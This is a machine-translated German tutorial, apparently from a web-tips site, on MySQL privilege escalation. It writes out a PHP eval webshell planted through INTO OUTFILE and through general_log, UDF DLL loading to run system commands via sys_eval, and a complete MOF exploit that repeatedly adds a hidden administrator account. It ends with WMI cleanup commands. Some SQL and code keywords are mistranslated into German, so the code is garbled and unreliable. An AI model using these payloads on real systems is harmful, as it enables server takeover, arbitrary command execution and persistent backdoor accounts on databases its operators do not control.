1. Schreiben Sie Webshellin die Outfile-Shell schreibenVoraussetzungen: 1. Kennen Sie den physischen Pfad der Website 2. Datenbankbenutzer mit hohen Berechtigungen 3. load_file() ist aktiviert, d. h. secure_file_priv ist unbegrenzt 4. Der Website-Pfad hat Schreibberechtigung Zunächst fragt die grundlegende Syntax ab, ob secure_file_priv keine Einschränkungen hat globale Variablen wie „%secure_file_priv%“ anzeigen;
Vor MySQL 5.5 war secure_file_priv standardmäßig leer. In diesem Fall konnten Sie Dateien in jeden absoluten Pfad schreiben. Nach MySQL 5.5 ist secure_file_priv standardmäßig auf NULL eingestellt. In diesem Fall können keine Dateien geschrieben werden. Wenn alle oben genannten Bedingungen erfüllt sind, können Sie versuchen, mit der folgenden SQL-Anweisung direkt in die Shell zu schreiben: Wählen Sie „<?php @eval($_POST[cmd]); ?>“ in der Ausgabedatei „C:\\soft\\WWW\\empirecms\\shell.php“; Überprüfen Sie den Zielpfad und stellen Sie fest, dass die Datei shell.php geschrieben wurde Oberer Küchenmesseranschluss Shell zum Schreiben von ProtokolldateienVoraussetzungen: 1. Webordner können lose Berechtigungen schreiben 2. Windows 3. Führen Sie MySQL oder Apache mit hohen Berechtigungen aus MySQL 5.0 und höher erstellt eine Protokolldatei, die durch Ändern der globalen Variablen des Protokolls in getshell geändert werden kann. Anzeigen des Protokollverzeichnisses VARIABLEN WIE „general%“ ANZEIGEN; general_log ist standardmäßig deaktiviert. Wenn Sie es aktivieren, werden alle vom Benutzer eingegebenen Befehle aufgezeichnet und in der entsprechenden Protokolldatei gespeichert. Ändern des Speicherorts der Protokolldatei setze globales General_Log = "ON"; setze global general_log_file='C:\\soft\\WWW\\empirecms\\log.php'; Anzeigen der aktuellen Protokollkonfiguration Überprüfen Sie das Zielverzeichnis und schreiben Sie die Datei log.php In Shell schreiben wählen Sie '<?php @eval($_POST[cmd]); ?>' Auf dem Küchenmesser verbinden 2. UDF-BerechtigungserweiterungEine benutzerdefinierte Funktion ist eine Erweiterung der Datenbankfunktionalität. Benutzer können benutzerdefinierte Funktionen verwenden, um Funktionen zu implementieren, die in MySQL nicht einfach implementiert werden können. Die neu hinzugefügten Funktionen können in SQL-Anweisungen aufgerufen werden, genau wie beim Aufruf der nativen Funktion version(). Dynamische Linkbibliothek Wenn die MySQL-Version >= 5.1 ist, muss die UDF-Dynamic Link Library-Datei vor dem Erstellen einer benutzerdefinierten Funktion im Ordner lib\plugin im MySQL-Installationsverzeichnis abgelegt werden. Wo finden Sie also die Dynamic Link Library-Dateien? Tatsächlich werden unsere häufig verwendeten Tools sqlmap und Metasploit beide mit dynamischen Linkbibliotheksdateien für die entsprechenden Systeme geliefert. Speicherort der Dynamic Link Library-Datei „sqlmap UDF“
Diese in sqlmap enthaltenen dynamischen Linkbibliotheken wurden jedoch so codiert, dass ein versehentliches Beenden verhindert wird, und können nicht direkt verwendet werden. Sie können jedoch das mit sqlmap mitgelieferte Dekodierungstool cloak.py verwenden, um es zu dekodieren. Der Speicherort von cloak.py lautet: sqlmap-Stammverzeichnis/extra/cloak/cloak.py. Die Dekodierungsmethode ist wie folgt: Dekodierung der 32-Bit-Windows-Dynamic-Link-Library:
Die Dekodierung anderer dynamischer Linkbibliotheken unter Linux und Windows ist ähnlich Oder verwenden Sie direkt die mit Metasploit gelieferte dynamische Linkbibliothek ohne Dekodierung Speicherort der dynamischen Linkbibliotheksdatei von Metasploit UDF Die nächste Aufgabe besteht darin, die UDF-Dynamic-Link-Library-Datei in das MySQL-Plugin-Verzeichnis zu legen. Wie findet man dieses Verzeichnis? Zur Abfrage können Sie folgende SQL-Anweisung verwenden: Variablen wie „%plugin%“ anzeigen Schreiben Sie eine dynamische Linkbibliothek Wenn secure_file_priv unbegrenzt ist, können wir Dateien manuell in das Plugin-Verzeichnis schreiben Wählen Sie load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll') in der Dumpdatei 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';
Erstellen Sie eine benutzerdefinierte Funktion und rufen Sie den Befehl auf Erstellen einer benutzerdefinierten Funktion FUNKTION „sys_eval“ ERSTELLEN – GIBT STRING SONAME „udf.dll“ ZURÜCK; Überprüfen Sie, ob sys_eval hinzugefügt wurde Anschließend können Sie Systembefehle über die erstellte Funktion ausführen: Löschen einer benutzerdefinierten Funktion Funktion sys_eval löschen; 3. MOF-BerechtigungserweiterungMOF-Privilegienausweitungsprinzip Das Prinzip der Mof-Berechtigungserweiterung ist eigentlich sehr einfach. Es verwendet die Datei nullevt.mof im Verzeichnis c:/windows/system32/wbem/mof/, um einmal pro Minute zu einer bestimmten Zeit unseren cmd-Befehl zur Ausführung zu schreiben. Strenge Voraussetzungen: 1. Windows 03 und darunter 2. Die MySQL-Startidentität hat die Berechtigung zum Lesen und Schreiben des Verzeichnisses c:/windows/system32/wbem/mof 3. Der Parameter secure-file-priv ist nicht null Prozess zur Rechteausweitung: Die MOF-Datei wird alle fünf Sekunden ausgeführt und ist eine Systemberechtigung. Wir verwenden load_file über MySQL, um die Datei in /wbme/mof zu schreiben, und dann führt das System alle fünf Sekunden die von uns hochgeladene MOF aus. In MOF gibt es ein VBS-Skript. Wir können den Inhalt dieses VBS-Skripts steuern, damit das System Befehle ausführen und Berechtigungen erhöhen kann. Der Exploit-Code lautet wie folgt (test.mof): #pragma namespace("\\\\.\\root\\abonnement") Instanz von __EventFilter als $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Abfrage = "Select * From __InstanceModificationEvent" "Wobei TargetInstance eine \"Win32_LocalTime\" ist " "Und TargetInstance.Second = 5"; Abfragesprache = "WQL"; }; Instanz von ActiveScriptEventConsumer als $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; SkriptText = "var WSH = neues ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe Benutzer hpdoger 123456 /add\")\nWSH.run(\"net.exe lokale Gruppenadministratoren hpdoger /add\")"; }; Instanz von __FilterToConsumerBinding { Verbraucher = $Verbraucher; Filter = $EventFilter; }; MOF-Dateinutzung: Laden Sie das obige Skript in ein Verzeichnis mit Lese- und Schreibberechtigungen hoch: Hier habe ich es nach C:\soft\ hochgeladen, und wir verwenden SQL-Anweisungen, um die Datei nach c:/windows/system32/wbem/mof/ zu importieren.
Überprüfen Sie die Rechteausweitung: Wenn wir mof erfolgreich exportieren, wird mof direkt ausgeführt und alle 5 Sekunden ein Benutzer erstellt. Über die Nachteile der MOF-Berechtigungserweiterung Nachdem wir die Berechtigungen erfolgreich erhöht haben, erstellt mof das ursprüngliche Konto innerhalb von fünf Sekunden neu, selbst wenn das Konto gelöscht wird. Dies wird uns große Schwierigkeiten bereiten, den Test zu beenden, also gehen Sie mit Vorsicht vor. Wie löschen wir also unser gehacktes Konto? Führen Sie die folgende Anweisung in cmd aus: #Stoppen Sie den WinMGM-Dienst net stop winmgmt #Löschen Sie den Repository-Ordner rmdir /s /q C:\Windows\system32\wbem\Repository\ # Löschen Sie die MOF-Datei manuell: del c:/windows/system32/wbem/mof/nullevt.mof /F /S # Löschen Sie den erstellten Benutzer net user hpdoger /delete #Starten Sie den Dienst net start winmgmt neu ZusammenfassenDies ist das Ende dieses Artikels über MySQL-Privilegienerweiterungstechniken. Weitere Informationen zu MySQL-Privilegienerweiterungstechniken finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, Sie werden 123WORDPRESS.COM auch in Zukunft unterstützen! Das könnte Sie auch interessieren:
|
<<: Ein mobiler adaptiver Webseiteneffekt löst das Problem der kleinen Anzeigeseite
>>: Details zu Linux-Dateideskriptoren, Dateizeigern und Inodes
In diesem Artikelbeispiel wird der spezifische Co...
Die folgende Abbildung zeigt die Browser-Anzeiger...
Lassen Sie uns zunächst über den Wert von Web-Fro...
In diesem Artikel wird der spezifische Code von J...
Inhaltsverzeichnis 1. Erstellen Sie ein Hadoop-Ve...
Tab-Auswahlkarten werden auf echten Webseiten seh...
Um einen Shell-Befehl in Docker auszuführen, müss...
Inhaltsverzeichnis 1. Was ist DOM 2. Elemente aus...
Inhaltsverzeichnis 1. Zugeordnete Typen 2. Mappin...
Im vorherigen Artikel habe ich den detaillierten ...
Vorwort Verwenden Sie nginx zum Lastenausgleich. ...
Inhaltsverzeichnis 01. Verwenden Sie useState, we...
Für jedes DBMS sind die Indizes der wichtigste Op...
In diesem Artikelbeispiel wird der spezifische Co...
Freunde, die über Grundkenntnisse in SQL verfügen...